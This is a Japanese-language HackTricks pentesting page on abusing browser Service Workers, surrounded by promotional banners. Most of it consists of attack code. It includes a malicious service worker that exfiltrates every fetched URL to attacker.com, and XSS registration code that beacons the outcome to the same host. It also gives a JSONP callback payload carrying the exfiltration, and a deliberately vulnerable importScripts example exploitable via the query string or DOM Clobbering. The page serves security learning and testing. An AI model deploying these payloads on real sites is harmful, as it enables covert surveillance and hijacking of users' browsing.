9.2 KiB
Service Workersの悪用
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTコレクションをご覧ください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するには、hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
基本情報
サービスワーカーは、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、オフラインおよびバックグラウンド処理の機能を強化します。サービスワーカーの詳細情報はこちらで確認できます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御できます。
既存のサービスワーカーの確認
既存のサービスワーカーは、開発者ツールのアプリケーションタブのサービスワーカーセクションで確認できます。別の方法として、より詳細なビューを得るためにchrome://serviceworker-internalsを訪れることができます。
プッシュ通知
プッシュ通知の許可は、サービスワーカーが直接サーバーと通信する能力に影響を与えます。許可が拒否されると、サービスワーカーの悪用の可能性が制限されます。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
サービスワーカーを作成する攻撃
この脆弱性を悪用するには、次のものを見つける必要があります:
- 任意のJSファイルをサーバーにアップロードする方法と、アップロードされたJSファイルのサービスワーカーをロードするXSS
- 出力を操作できる脆弱なJSONPリクエストと、任意のJSコードで出力を操作できるXSS、および悪意のあるサービスワーカーをロードするペイロードでJSONPをロードする脆弱なJSONPの方法。
次の例では、fetch
イベントをリッスンし、取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録するコードを示します:
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
そして、これがワーカーを登録するコードです(XSSを悪用して実行できるはずのコード)。この場合、攻撃者のサーバーにGETリクエストが送信され、サービスワーカーの登録が成功したかどうかが通知されます:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
脆弱なJSONPエンドポイントを悪用する場合は、値をvar sw
の内部に配置する必要があります。例:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Service Worker (SW) の悪用に特化した C2 があり、Shadow Workers と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
24時間キャッシュディレクティブ は、XSSの脆弱性が修正された後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された service worker (SW) の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために service worker kill-switch を作成することが推奨されています。
DOM Clobbering を介した SW での importScripts
の悪用
Service Worker から呼び出される importScripts
関数は、異なるドメインからスクリプトをインポート することができます。この関数が 攻撃者が変更できるパラメータ を使用して呼び出された場合、彼は 自身のドメインから JS スクリプトをインポート して XSS を取得できます。
これは CSP の保護をバイパスします。
脆弱なコードの例:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
DOM Clobberingを使用する
DOM Clobberingについての詳細は、以下を参照してください:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
SWが**importScripts
を呼び出すURL/ドメインがHTML要素内にある場合、DOM Clobberingを使用してそれを変更し、SWが自分のドメインからスクリプトを読み込むように**することが可能です。
これの例については、参照リンクを確認してください。
参考文献
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたいですか?または、PDF形式でHackTricksをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけます
- 公式PEASS&HackTricks swagを手に入れます
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm.
- ハッキングトリックを共有するために、hacktricksリポジトリ および hacktricks-cloudリポジトリ にPRを提出してください。